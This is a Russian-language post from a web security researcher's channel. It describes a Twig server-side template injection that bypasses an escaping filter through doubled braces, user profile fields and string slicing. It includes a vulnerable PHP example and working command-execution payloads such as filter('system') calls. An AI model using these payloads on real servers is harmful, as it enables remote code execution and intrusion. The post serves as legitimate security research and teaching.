TGViewer
Заметки склерозного вебера Заметки склерозного вебера @arroizx_notes · 552 subscribers
Post #97 4.53K
SSTI ❤️ htmlspecialchars()

Попался тут интересный проект, в котором нашлась Twig SSTI'ка, до которой, чтобы добраться, нужно обойти несколько ограничений:
Удалось её обнаружить после того, как я решил поиграться с шаблонами для почты. Обычная нагрузка {{7*7}} давала по итогу 7*7. Подумав, что это может быть какой-то кривой патч, я вставил нагрузку {{{{7*7}}}} и получил в итоге 49 (никогда не думал, что встречу такой тупизм :D) ! Казалось бы, что это победа, однако если нагрузка сложнее математической операции, например, {{{{['id']|filter('system')}}}}, то ничего не отрабатывало. Поэтому я решил залезть в код и поискать эту чудо-функцию =)

Ниже представлен ооочень отдалённый пример кода, чтобы был понятен контекст:

<?php
require_once 'vendor/autoload.php';
error_reporting(E_ERROR | E_PARSE);

class User {
public $username;
public $secondname;
public function __construct($username, $secondname) {
$this->username = $username;
$this->secondname = $secondname;
}
}

$allowed = ['user.username'];

function prepareVars(string $template, array $allowedKeys): string {
return preg_replace_callback(
'/\{\{(.*?)\}\}/i', //Регулярка для извлечения значения между {{...}}
function ($matches) use ($allowedKeys) {
$value = trim($matches[1] ?? ''); //Берётся наше значение
if (in_array($value, $allowedKeys)) { //Оно скорее всего не подпадает под $allowedKeys
return "{{ {$value} | raw }}";
}
return htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); //В итоге оно попадает сюда с ENT_QUOTES
},
$template
);
}

$username = $_GET['username'] ?? 'John';
$secondname = $_GET['secondname'] ?? 'Doe';
$user = new User($username, $secondname);
$templateInput = $_GET['template'] ?? 'Guest';
$fullTemplate = 'Hello ' . $templateInput;
$processedTemplate = prepareVars($fullTemplate, $allowed);
$loader = new \Twig\Loader\ArrayLoader([
'index' => $processedTemplate,
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['user' => $user]);


Отсюда мы видим причину, почему приходилось использовать 2 пары фигурных скобок, а также новую проблему - htmlspecialchars с ENT_QUOTES. Некоторое время я думал, что с этим делать, так как большинство нагрузок для RCE требуют какие-либо кавычки, а потом до меня дошло:
Мне для той же нагрузки {{['id']|filter('system')}} нужно передать именно соответствующие строки, необязательно их передавать в формате с кавычками, можно передать какую-либо доступную переменную, содержащую нужное значение. Например, мы тут видим, что можем использовать поля объекта класса User: через username передать id, а через secondname передать system. По итогу будет что-то типа такого - /?template={{{{[user.username]|filter(user.secondname)}}}}&username=id&secondname=system.
В моём случае приложение было на PHP Symfony, а данные о пользователе не передавались. Ознакомившись с документацией, можно узнать, что нам достаточно проставить необходимые значения в поля пользователя(просто зайти в раздел профиля УЗ и установить нужные значения), а дальше использовать их через {{app.user.*}} уже в Twig в уязвимом разделе.

Если же у вас только одно контролируемое значение(например subject), а нужно передать 2 строки в SSTI, то просто в subject пихаем 2 строки вместе: idsystem. А дальше извлекаем их посимвольно:
{{[subject|slice(0,2)]|filter(subject|slice(-6))}}
  • 🔥 19
  • ⚡ 2
More from @arroizx_notes
  1. Sep 22, 2026Пока тут готовится что-то полезное вкину мини пост, чтобы канал не простаивал:) Если у вас…
  2. Aug 10, 2026Ну хоть с первого раза... Ну чтож, 6 августа я принялся сдавать OSWE, сдал отчёт 8 и 9 пол…
  3. Jul 24, 2026Вот собственно и докладик=)
  4. Jul 3, 202624 июля в 15:30 в Московском офисе Positive Technologies пройдет митап для начинающих спец…
  5. Jul 3, 2026Решил тут поучаствовать в митапе ПТ, поэтому если тут есть начинающие спецы, которые хотят…
  6. May 31, 2026Очередной пост - очередной репозиторий Недавно на проекте коллега пропустил swagger, потом…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →